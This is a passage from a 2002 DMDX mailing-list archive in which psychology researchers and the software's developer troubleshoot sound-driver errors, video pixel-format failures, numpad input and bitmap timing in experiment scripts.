help file, I successively shut down >several running tasks with the cntrl-alt-del End Task button and >looked for which one is the culprit. I found no task responsible for >the errors. Are there any other possibilities for the error message. > >My Windows 98 system is running on a Pentium III machine with a >CIO-DIO24, a Soundblaster AWE64 card (ISA), and a MS serial mouse. > >Hope someone can help me. Thanks in advance. > >Kwangoh Yi >Department of Psychology >Yeungnam University >Kyungsan City 712-749 >KOREA >Tel: +82-53-810-2235 >Fax: +82-53-811-3312 >E-mail: yiko@yu.ac.kr > > > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== -- ****PLEASE NOTE: our email address is now greg_thomson@telus.net. Please discontinue using gthomson@mac.com, as it has expired.**** >From DMDX-owner@psy1.psych.arizona.edu Tue Nov 26 08:53:54 2002 Received: from breaker.dakotacom.net (breaker.dakotacom.net [66.192.152.146]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gAQFrRMS027047 for ; Tue, 26 Nov 2002 08:53:27 -0700 Received: from anybodyi.u.arizona.edu (uofa-dsl-63.dakotacom.arizona.edu [150.135.175.63]) by breaker.dakotacom.net (8.12.2/x.y.z) with ESMTP id gAQFmZmQ009151; Tue, 26 Nov 2002 08:48:35 -0700 (MST) Message-Id: <5.1.0.14.2.20021126084307.00b12940@psy1.psych.arizona.edu> Date: Tue, 26 Nov 2002 08:48:29 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Error with Sound Test (was Errors with digitalVox) In-Reply-To: References: <00be01c25009$8ed8dd20$3c28e5a5@yu.ac.kr> <5.1.0.14.2.20020610182607.00b12c08@psy1.psych.arizona.edu> <000b01c21194$55f72f10$ae7ba8c0@richie> <00be01c25009$8ed8dd20$3c28e5a5@yu.ac.kr> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 04:03 PM 11/26/2002 +0600, you wrote: >I am getting the exact same error message that Kwangoh describes below >when I attempt the Sound Test in TimeDX. I have now downloaded and >installed the latest driver for my C-Media CMI8738/C3DX PCI Audio Device. >I also upgraded to DMDX 3.0.0.12, just for the heck of it. Then I once >again turned off all of the other running tasks. (The exception was >Explorer. When I would try to turn it off, it would threaten to shut down >the computer.) The error message continues when I attempt to do the Sound >Test. Are Kwangoh and I unique. (My goal for now is a simple naming >experiment.) The TimeDX Sound Recording test hasn't changed, it still uses non-looping buffers and is proof positive that whatever drivers exist for the C-Media under win98 are crap. The odd thing is that the C-Media drivers are totally fine under winXP. Well, I wouldn't worry about it, if you like you can use the TimeDX Sound Latency test as that uses the looping buffers but in order for the test to work you'll have to connect the sound output to the input. Otherwise just see if DMDX is recording vocalizations properly. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Nothing is done until nothing is done. >From DMDX-owner@psy1.psych.arizona.edu Tue Nov 26 13:28:09 2002 Received: from mailspool.helios.nd.edu (mailspool.helios.nd.edu [129.74.250.7]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gAQKIFMS027377 for ; Tue, 26 Nov 2002 13:18:15 -0700 Received: from mozart.helios.nd.edu (mozart.helios.nd.edu [129.74.216.6]) by mailspool.helios.nd.edu (8.9.2/8.9.2) with ESMTP id PAA10399 for ; Tue, 26 Nov 2002 15:13:21 -0500 (EST) Received: from localhost (ahill1@localhost) by mozart.helios.nd.edu (8.10.1/8.10.1/ND-cluster) with ESMTP id gAQKDMq05565 for ; Tue, 26 Nov 2002 15:13:22 -0500 (EST) Date: Tue, 26 Nov 2002 15:13:22 -0500 (EST) From: Angelina Maria Copeland To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] numpad In-Reply-To: <5.1.0.14.2.20021126084307.00b12940@psy1.psych.arizona.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list I am trying to obtain magnitude estimates on the numberpad using DMDX3. I am able to collect number responses if they are typed on the main part of the keyboard, but not when typed on the numpad. It is my understanding that in this newest version of DMDX, the numpad is automatically mapped once is used. I also tried adding in a , but I still couldn't get the input from the numpad to register. Any help would be greatly appreciated. Thanks, Angelina Here's the code I've been using: N 144 f12 0 ""Press the spacebar to begin""; +24 / ""-+-"" / / ""name24"" / * / / / ; 0 ""That's all for today. Thank you!""; >From DMDX-owner@psy1.psych.arizona.edu Tue Nov 26 17:25:17 2002 Received: from currawong2.psy.mq.edu.au (currawong2.psy.mq.edu.au [137.111.47.11]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gAR0OwMS027628 for ; Tue, 26 Nov 2002 17:24:59 -0700 Received: (from nobody@localhost) by currawong2.psy.mq.edu.au (8.11.6/8.11.6) id gAR0K4L31576 for DMDX@psy1.psych.arizona.edu; Wed, 27 Nov 2002 11:20:04 +1100 Received: from 129.78.165.75 ( [129.78.165.75]) as user awoollam@currawong.maccs.mq.edu.au by www.maccs.mq.edu.au with HTTP; Wed, 27 Nov 2002 11:20:04 +1100 Message-ID: <1038356404.3de40fb4c0a6b@www.maccs.mq.edu.au> Date: Wed, 27 Nov 2002 11:20:04 +1100 From: Anna Woollams To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] More on Invalid Pixel Format Error MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Dear DMDXers, > > Hi J the version Of DMX is 3.0.0.04 and the exact error meassage is "" > >Create Surface failed > > DDERR- invalid pixel Format (88760091) > > Pixal format was in valid as specified"" > > > >My Graphics card is the trident video accelerator cyberblade XP Ai1 X > >V5.9030-008A.221CDNP > >Drawversion 5.0.2195.144 > > > >memory 16mb > >It seems to e the latest toshiba drivers > > So it's busted. You could hunt up reference drivers from Trident or > whatever the company is that makes the Trident chips. Unless you want to > try using other video modes there's nothing else I can suggest other than > using another computer. We recently received an identical error message when trying to set up DMDX2.9.05 on a brand new Toshiba Tecra 9100 laptop. The video card was an S3 SuperSavage IXC1179 with the original drivers provided by Toshiba. However, we persisted and tried a few different resolutions at different colour settings, and we had some success. The results are reproduced below (IPF=Invalid Pixel Format error message): 1024x768x8 = Selected mode in TimeDX but would not time the mode, producing the IPF. However, DMDX would run if automatic values were used. 1024x768x16 = Would not select mode in Time DX, producing the IPF. 1024x768x32 = Fine. 800x600x8 = Fine, but with high certain errors when timing the video mode. 800x600x16 = Would not select mode in Time DX, producing the IPF. 800x600x32 = Would not select mode in Time DX, producing the IPF. 640x480x8 = Fine 640x480x16 = Fine, with very low certain errors when timing the video mode. 640x480x32 = Would not select mode in Time DX, producing the IPF. The reason we obtained this pattern of results is unclear (well, to us, anyway!). Nevertheless, we thought it was worth sharing with the list for the benefit of other users. The upshot being that Jonathan's suggestion was a very good one - if you get the IPF, it is indeed worth trying a few different video modes before making the move to another machine. Regards, Anna Woollams & Craig Richardson. This Message is intended for the addressee named and may contain confidential information. If you are not the intended recipient, please delete it and notify the sender. Views expressed in this message are those of the individual sender and are not necessarily the views of The Macquarie Centre for Cognitive Science. >From DMDX-owner@psy1.psych.arizona.edu Tue Nov 26 18:52:37 2002 Received: from breaker.dakotacom.net (breaker.dakotacom.net [66.192.152.146]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gAR1qZMS027824 for ; Tue, 26 Nov 2002 18:52:35 -0700 Received: from anybodyi.u.arizona.edu (uofa-dsl-63.dakotacom.arizona.edu [150.135.175.63]) by breaker.dakotacom.net (8.12.2/x.y.z) with ESMTP id gAR1lfT0002527 for ; Tue, 26 Nov 2002 18:47:41 -0700 (MST) Message-Id: <5.1.0.14.2.20021126184536.00b12940@psy1.psych.arizona.edu> Date: Tue, 26 Nov 2002 18:47:36 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: numpad In-Reply-To: References: <5.1.0.14.2.20021126084307.00b12940@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 03:13 PM 11/26/2002 -0500, you wrote: >I am trying to obtain magnitude estimates on the numberpad using DMDX3. I >am able to collect number responses if they are typed on the main part of >the keyboard, but not when typed on the numpad. It is my understanding >that in this newest version of DMDX, the numpad is automatically mapped >once is used. I also tried adding in a , but I still >couldn't get the input from the numpad to register. Any help would be >greatly appreciated. Thanks, Angelina >Here's the code I've been using: > N 144 f12 ""PIO12""> >0 ""Press the spacebar to begin""; >+24 / > ""-+-"" / / ""name24"" / * > / / / ; >0 ""That's all for today. Thank you!""; The documentation states that it only works with keys whose names are a single character and the numeric pad keys have multiple character names. The main keyboard A to Z and 0 to 9 keys have single character names. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Nothing is done until nothing is done. >From DMDX-owner@psy1.psych.arizona.edu Tue Nov 26 18:58:09 2002 Received: from cooper.uws.edu.au (cooper.uws.edu.au [137.154.210.65]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gAR1mbMS027778 for ; Tue, 26 Nov 2002 18:48:37 -0700 Received: from PYSCMASTERS06 ([137.154.108.112]) by cooper.uws.edu.au (8.11.3/8.11.3/UWS-STAFF-1.3) with SMTP id gAR1hg118282 for ; Wed, 27 Nov 2002 12:43:42 +1100 (EST) Message-ID: <005f01c295b7$814f8020$706c9a89@PYSCMASTERS06> From: ""Arch Tibben"" To: References: <1038356404.3de40fb4c0a6b@www.maccs.mq.edu.au> Subject: [DMDX] Re: More on Invalid Pixel Format Error Date: Wed, 27 Nov 2002 12:51:29 +1100 MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hi anna and j Just some additional info..... I have had these probs on TE2000 laptops. Out of three of these L/Ps, one worked ..the difference appears to be that the drivers, instead of --- trident video accelerator cyberblade XP Ai1 X V5.9030-008A.221CDNP WAS ---- trident video accelerator cyberblade XP Ai1 X V5.9030-008X.22. I think this is an earlier version This is the only difference I could find happy hunting arch - Original Message ----- From: ""Anna Woollams"" To: Sent: Wednesday, November 27, 2002 11:20 AM Subject: [DMDX] More on Invalid Pixel Format Error > Dear DMDXers, > > > > Hi J the version Of DMX is 3.0.0.04 and the exact error meassage is "" > > >Create Surface failed > > > DDERR- invalid pixel Format (88760091) > > > Pixal format was in valid as specified"" > > > > > >My Graphics card is the trident video accelerator cyberblade XP Ai1 X > > >V5.9030-008A.221CDNP > > >Drawversion 5.0.2195.144 > > > > > >memory 16mb > > >It seems to e the latest toshiba drivers > > > > So it's busted. You could hunt up reference drivers from Trident or > > whatever the company is that makes the Trident chips. Unless you want to > > try using other video modes there's nothing else I can suggest other than > > using another computer. > > We recently received an identical error message when trying to set up > DMDX2.9.05 on a brand new Toshiba Tecra 9100 laptop. The video card was an S3 > SuperSavage IXC1179 with the original drivers provided by Toshiba. > > However, we persisted and tried a few different resolutions at different colour > settings, and we had some success. The results are reproduced below > (IPF=Invalid Pixel Format error message): > > 1024x768x8 = Selected mode in TimeDX but would not time the mode, producing the > IPF. However, DMDX would run if automatic values were used. > 1024x768x16 = Would not select mode in Time DX, producing the IPF. > 1024x768x32 = Fine. > > 800x600x8 = Fine, but with high certain errors when timing the video mode. > 800x600x16 = Would not select mode in Time DX, producing the IPF. > 800x600x32 = Would not select mode in Time DX, producing the IPF. > > 640x480x8 = Fine > 640x480x16 = Fine, with very low certain errors when timing the video mode. > 640x480x32 = Would not select mode in Time DX, producing the IPF. > > The reason we obtained this pattern of results is unclear (well, to us, > anyway!). Nevertheless, we thought it was worth sharing with the list for the > benefit of other users. The upshot being that Jonathan's suggestion was a very > good one - if you get the IPF, it is indeed worth trying a few different video > modes before making the move to another machine. > > Regards, > Anna Woollams & Craig Richardson. > > This Message is intended for the addressee named and may contain > confidential information. If you are not the intended recipient, please > delete it and notify the sender. Views expressed in this message are those > of the individual sender and are not necessarily the views > of The Macquarie Centre for Cognitive Science. > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== >From DMDX-owner@psy1.psych.arizona.edu Wed Nov 27 03:08:44 2002 Received: from smtp.infonex.com (smtp.infonex.com [168.143.114.4]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gARA85MS028289 for ; Wed, 27 Nov 2002 03:08:05 -0700 Received: from [212.19.142.112] (cyberpass.net [168.143.113.101]) by smtp.infonex.com (Postfix) with ESMTP id E26289AB6A for ; Wed, 27 Nov 2002 02:03:14 -0800 (PST) Mime-Version: 1.0 Message-Id: In-Reply-To: <5.1.0.14.2.20021126084307.00b12940@psy1.psych.arizona.edu> References: <00be01c25009$8ed8dd20$3c28e5a5@yu.ac.kr> <5.1.0.14.2.20020610182607.00b12c08@psy1.psych.arizona.edu> <000b01c21194$55f72f10$ae7ba8c0@richie> <00be01c25009$8ed8dd20$3c28e5a5@yu.ac.kr> <5.1.0.14.2.20021126084307.00b12940@psy1.psych.arizona.edu> Date: Wed, 27 Nov 2002 15:55:54 +0600 To: DMDX@psy1.psych.arizona.edu From: Greg Thomson Subject: [DMDX] Re: Error with Sound Test (was Errors with digitalVox) Content-Type: text/plain; charset=""us-ascii"" ; format=""flowed"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list The solution to this problem turned out to be simple. When I turn off ""MULTI-SPK"" in the sound control panel (or whatever you call it), the problem goes away. When I get back to DMDX a week and a half from now, I'll probably be back here. So far, when I try to use the microphone as an input device (DigitalVOX only), the computer profoundly crashes, reminiscent of the problem caused before by the video card. Greg At 8:48 AM -0700 11/26/02, j.c.f. wrote: >At 04:03 PM 11/26/2002 +0600, you wrote: >>I am getting the exact same error message that Kwangoh describes >>below when I attempt the Sound Test in TimeDX. I have now >>downloaded and installed the latest driver for my C-Media >>CMI8738/C3DX PCI Audio Device. I also upgraded to DMDX 3.0.0.12, >>just for the heck of it. Then I once again turned off all of the >>other running tasks. (The exception was Explorer. When I would try >>to turn it off, it would threaten to shut down the computer.) The >>error message continues when I attempt to do the Sound Test. Are >>Kwangoh and I unique. (My goal for now is a simple naming >>experiment.) > > The TimeDX Sound Recording test hasn't changed, it still uses >non-looping buffers and is proof positive that whatever drivers >exist for the C-Media under win98 are crap. The odd thing is that >the C-Media drivers are totally fine under winXP. Well, I wouldn't >worry about it, if you like you can use the TimeDX Sound Latency >test as that uses the looping buffers but in order for the test to >work you'll have to connect the sound output to the input. >Otherwise just see if DMDX is recording vocalizations properly. > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > Nothing is done until nothing is done. > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== -- ****PLEASE NOTE: our email address is now greg_thomson@telus.net. Please discontinue using gthomson@mac.com, as it has expired.**** >From DMDX-owner@psy1.psych.arizona.edu Wed Nov 27 05:13:15 2002 Received: from gold.csi.cam.ac.uk (gold.csi.cam.ac.uk [131.111.8.12]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gARCChMS028521 for ; Wed, 27 Nov 2002 05:12:44 -0700 Received: from sjb90.trin.cam.ac.uk ([131.111.212.253] helo=sjb90) by gold.csi.cam.ac.uk with smtp (Exim 4.10) id 18H0ym-0003Zd-00 for DMDX@psy1.psych.arizona.edu; Wed, 27 Nov 2002 12:07:44 +0000 From: ""Stuart Bell"" To: Subject: [DMDX] RE: Dell Latitude laptops Date: Wed, 27 Nov 2002 12:07:46 -0000 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=""US-ASCII"" Content-Transfer-Encoding: 7bit In-Reply-To: <5.1.0.14.2.20021112144808.033c47d8@pophost.mrc-cbu.cam.ac.uk> Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list On 12 November 2002 14:49, Mike Ford wrote: > Hi. Anyone out there using DMDX with Dell Latitude laptops with > Win2000? Encountered any problems? Sorry for the delay in replying to this - I've been inundated with emails lately... I don't personally run DMDX under Win2K, but I do use DMDX on a Latitude running a clean install of Win98SE. The Latitude seems to give a few *weird* errors sometimes (clusters of certain errors that Matt Davis and I weren't easily able to eliminate). The other thing to watch is the millisecond timer - the first Latitude I used was giving a mean rather higher than it should have been... More generally I wouldn't recommend buying the Latitude. In the two years that I've had it, I've had to call the engineer out several times and have got through two motherboards, four keyboards, several touch pads and still have strange problems with the on-board soundcard. Hope that helps, Stuart. >From DMDX-owner@psy1.psych.arizona.edu Wed Nov 27 11:14:25 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gARIDMMS028948 for ; Wed, 27 Nov 2002 11:13:22 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (6.0.053) id 3DE4BEB70000D971 for DMDX@psy1.psych.arizona.edu; Wed, 27 Nov 2002 11:08:27 -0700 Message-Id: <5.1.0.14.2.20021127110750.00b13250@psy1.psych.arizona.edu> Date: Wed, 27 Nov 2002 11:08:27 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: Error with Sound Test (was Errors with digitalVox) In-Reply-To: References: <5.1.0.14.2.20021126084307.00b12940@psy1.psych.arizona.edu> <00be01c25009$8ed8dd20$3c28e5a5@yu.ac.kr> <5.1.0.14.2.20020610182607.00b12c08@psy1.psych.arizona.edu> <000b01c21194$55f72f10$ae7ba8c0@richie> <00be01c25009$8ed8dd20$3c28e5a5@yu.ac.kr> <5.1.0.14.2.20021126084307.00b12940@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 03:55 PM 11/27/2002 +0600, you wrote: >The solution to this problem turned out to be simple. When I turn off >""MULTI-SPK"" in the sound control panel (or whatever you call it), the >problem goes away. When I get back to DMDX a week and a half from now, >I'll probably be back here. So far, when I try to use the microphone as an >input device (DigitalVOX only), the computer profoundly crashes, >reminiscent of the problem caused before by the video card. >Greg Yeah, that's just the thing with busted drivers, changing the smallest most innocuous unrelated thing can have dramatic effects. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ People will do tomorrow what they did today because that is what they did yesterday. >From DMDX-owner@psy1.psych.arizona.edu Thu Nov 28 04:52:37 2002 Received: from yellow.csi.cam.ac.uk (exim@yellow.csi.cam.ac.uk [131.111.8.67]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gASBWYMS029896 for ; Thu, 28 Nov 2002 04:32:34 -0700 Received: from paulsdell.psychol.cam.ac.uk ([131.111.190.101]) by yellow.csi.cam.ac.uk with esmtp (Exim 4.10) id 18HMpU-0006wX-00 for DMDX@psy1.psych.arizona.edu; Thu, 28 Nov 2002 11:27:36 +0000 Date: Thu, 28 Nov 2002 11:29:33 -0000 From: Rebecca Greenaway To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Presenting multiple bitmaps in a single frame Message-ID: <6761379.1038482973@paulsdell.psychol.cam.ac.uk> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list I'm a new user of DMDX and I'm using it to design a visual search task. In order to reduce the number of bitmaps I need I would like to use small separate bitmaps for each item appearing in a display (so that I can reuse them throughout the experiment), rather than creating a new large bitmap showing the whole display for each new trial. Could anyone let me know whether each bitmap will be added separately to the screen or whether they're all going to be combined into one frame in the graphics card and displayed in one go. Also will this affect the timing? We have reduced the number of back buffers to 7 with the -buffers command line option, because of problems with the video driver, I don't know if this will create a problem when presenting multiple bitmaps. I have included an example of the code for two types of possible trial below if this helps. +1 ""fixpoint""/ ""premaskdisplay1""/ * ""experimentaldisplay1""; Instead of using the code above I would prefer to use the code below, would the timing in the below example be the same as in the above example? +1 ""fixpoint""/ ""fixpoint"", ""item1"", ""item2"", ""item3"", ""item4"", ""item5"", ""item6"", ""item7""/ * ""fixpoint"", ""item1"", ""item2"", ""item3"", ""item4"", ""item5"", ""item6"", ""item7"", ""item8""; Thanks, Rebecca Rebecca Greenaway Graduate Student Department of Experimental Psychology University of Cambridge >From DMDX-owner@psy1.psych.arizona.edu Thu Nov 28 09:58:41 2002 Received: from breaker.dakotacom.net (breaker.dakotacom.net [66.192.152.146]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gASGvQMS030288 for ; Thu, 28 Nov 2002 09:57:26 -0700 Received: from anybodyi.u.arizona.edu (uofa-dsl-63.dakotacom.arizona.edu [150.135.175.63]) by breaker.dakotacom.net (8.12.2/x.y.z) with ESMTP id gASGqRnB015013 for ; Thu, 28 Nov 2002 09:52:27 -0700 (MST) Message-Id: <5.1.0.14.2.20021128093905.00b2c0b0@psy1.psych.arizona.edu> Date: Thu, 28 Nov 2002 09:52:22 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Presenting multiple bitmaps in a single frame In-Reply-To: <6761379.1038482973@paulsdell.psychol.cam.ac.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 11:29 AM 11/28/2002 +0000, you wrote: >I'm a new user of DMDX and I'm using it to design a visual search >task. In order to reduce the number of bitmaps I need I would like to use >small separate bitmaps for each item appearing in a display (so that I can >reuse them throughout the experiment), rather than creating a new large >bitmap showing the whole display for each new trial. Yes, I've actually written programs to write such item files as they can be huge and balancing them a dramatic amount of work. But whether you would be able to use them remains doubtful, the rules to balance them change with every new experiment that gets done. >Could anyone let me know whether each bitmap will be added separately to >the screen or whether they're all going to be combined into one frame in >the graphics card and displayed in one go. Yes. The comma frame option is equivalent to ""%0 / !"". > Also will this affect the timing? No, frames with zero duration don't add anything to the time of the next frame, they only draw into the buffer used to make a frame. But the composite frame's duration must go in the last frame of the composition. > We have reduced the number of back buffers to 7 with the -buffers > command line option, because of problems with the video driver, I don't > know if this will create a problem when presenting multiple bitmaps. I > have included an example of the code for two types of possible trial > below if this helps. > >+1 ""fixpoint""/ ""premaskdisplay1""/ * >""experimentaldisplay1""; > >Instead of using the code above I would prefer to use the code below, >would the timing in the below example be the same as in the above example? > >+1 ""fixpoint""/ >""fixpoint"", ""item1"", 2000> ""item2"", ""item3"", 2000> ""item4"", ""item5"", 2000> ""item6"", ""item7""/ * >""fixpoint"", ""item1"", ""item2"", 0.41> ""item3"", ""item4"", ""item5"", 0.41, 0.66>""item6"", ""item7"", ""item8""; Technically that should be: +1 ""fixpoint""/ ""fixpoint"", ""item1"", ""item2"", ""item3"", ""item4"", ""item5"", ""item6"", ""item7""/ * ""fixpoint"", ""item1"", ""item2"", ""item3"", ""item4"", ""item5"", ""item6"", ""item7"", ""item8""; You might also be interested in the keyword: http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhxyjustificationkeyword.htm That way you can specify the coordinates of the center of your images taking at least one step out of your work (my search building program was written before was added). /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Nothing is done until nothing is done. >From DMDX-owner@psy1.psych.arizona.edu Fri Nov 29 13:52:08 2002 Received: from wjh1.wjh.harvard.edu (IDENT:root@wjh1.wjh.harvard.edu [140.247.94.230]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gATKpMMS031728 for ; Fri, 29 Nov 2002 13:51:22 -0700 Received: from TARAMA (roam94-63.wjh.harvard.edu [140.247.94.63]) by wjh1.wjh.harvard.edu (8.11.6/8.11.4) with SMTP id gATKkKY18536 for ; Fri, 29 Nov 2002 15:46:20 -0500 (EST) Message-ID: <01f001c297e7$b71680a0$3f5ef78c@TARAMA> From: ""Sid Kouider"" To: References: <05b401c29331$99a05f60$3f5ef78c@TARAMA> <5.1.0.14.2.20021124064742.00b128d8@psy1.psych.arizona.edu> Subject: [DMDX] Re: Branching with Recordvocal Date: Fri, 29 Nov 2002 15:41:38 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Quoting ""j.c.f."" : > > Thinking some more on this I suspect you don't in fact want to use > responses but instead want item pairs (note the new G2 parameter) > > and lots of mapping and unmapping of responses. For example: > > G2 > < MapRequest +Space> < > MapPositiveResponse +1> < MapNegativeResponse +0> > > $ > 0 ""Press SPACEBAR to start""; > 250 /; > $ > +1 ""pies""/ * ; > +10 * ; > > +2 ""shoes""/ * ; > +20 * ; Thanks for your help Jonathan. Here is a sample of the new script I use. The problem I describe below happens for this sample as well as the the example you gave. < MapPositiveResponse +1> < MapNegativeResponse +0> $ 0 ""Press SPACEBAR to start""; 250 /; $ +1 ""pies""/ * c; +10 * ""0/1"" ; The only real trouble now is that the NoTimeLimit function is not working any more (every RecordVocal is interupted at 4 seconds, the standard timeout). Then, the AbortItemKeyName function works and interupts recording but only it the key is pressed before 4 seconds. There is apparently something preventing the NoTimeLimit but I could not figure out what it is? Finally, is it possbile to set up things such that the abortItemKeyName correspond to the positive or negative request. For instance, in the previous samples, the key ""q"" is pressed to interupt recording, and then pressing key ""1"" or ""0"" indicates whether the response (pronunciation) was correct or not. If it was not correct, the items is played again. Now, is it possible to have the 1 or 0 key press corresponding both to the abortItemKeyName and to the correct or incorrect response. I am using the most recent version (3.0.0012). Thanks very much for your help, -Sid >From DMDX-owner@psy1.psych.arizona.edu Fri Nov 29 19:00:00 2002 Received: from breaker.dakotacom.net (breaker.dakotacom.net [66.192.152.146]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gAU1oXMS032031 for ; Fri, 29 Nov 2002 18:50:33 -0700 Received: from anybodyi.u.arizona.edu (uofa-dsl-3.dakotacom.arizona.edu [150.135.175.3]) by breaker.dakotacom.net (8.12.2/x.y.z) with ESMTP id gAU1jUnB003622; Fri, 29 Nov 2002 18:45:30 -0700 (MST) Message-Id: <5.1.0.14.2.20021129183604.00b2a168@psy1.psych.arizona.edu> Date: Fri, 29 Nov 2002 18:45:25 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Branching with Recordvocal In-Reply-To: <01f001c297e7$b71680a0$3f5ef78c@TARAMA> References: <05b401c29331$99a05f60$3f5ef78c@TARAMA> <5.1.0.14.2.20021124064742.00b128d8@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 03:41 PM 11/29/2002 -0500, you wrote: >The only real trouble now is that the NoTimeLimit function is not working >any >more (every RecordVocal is interupted at 4 seconds, the standard timeout). Never thought about w.r.t. to RecordVocal, guess I'll have to update the docs. does not and cannot affect RecordVocal, it can't affect it as there has to be a fixed length buffer created that is as large as RecordVocal's data can be. Use a large timeout instead. >Then, the AbortItemKeyName function works and interupts recording but only >it >the key is pressed before 4 seconds. There is apparently something >preventing >the NoTimeLimit but I could not figure out what it is? The normal timeout is 4 seconds and that's what you're seeing, you'll need to set the T parameter. >Finally, is it possbile to set up things such that the abortItemKeyName >correspond to the positive or negative request. For instance, in the >previous >samples, the key ""q"" is pressed to interupt recording, and then pressing >key ""1"" or ""0"" indicates whether the response (pronunciation) was correct or >not. If it was not correct, the items is played again. >Now, is it possible to have the 1 or 0 key press corresponding both to the >abortItemKeyName and to the correct or incorrect response. Probably not, once abort item kicks in it starts aborting things left right and center. Try it, see what happens. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Nothing is done until nothing is done. >From DMDX-owner@psy1.psych.arizona.edu Mon Dec 2 08:26:57 2002 Received: from sirius.mrc-cbu.cam.ac.uk (sirius.mrc-cbu.cam.ac.uk [193.63.252.1]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id gB2FPkMS002740 for ; Mon, 2 Dec 2002 08:25:46 -0700 Received: from [193.63.253.231] (helo=PC199.mrc-cbu.cam.ac.uk) by sirius.mrc-cbu.cam.ac.uk with esmtp (Exim 3.36 #2) id 18IsMz-0004jC-00 for DMDX@psy1.psych.arizona.edu; Mon, 02 Dec 2002 15:20:25 +0000 Message-Id: <5.1.1.6.0.20021202152013.01c560c0@193.63.253.1> Date: Mon, 02 Dec 2002 15:25:51 +0000 To: 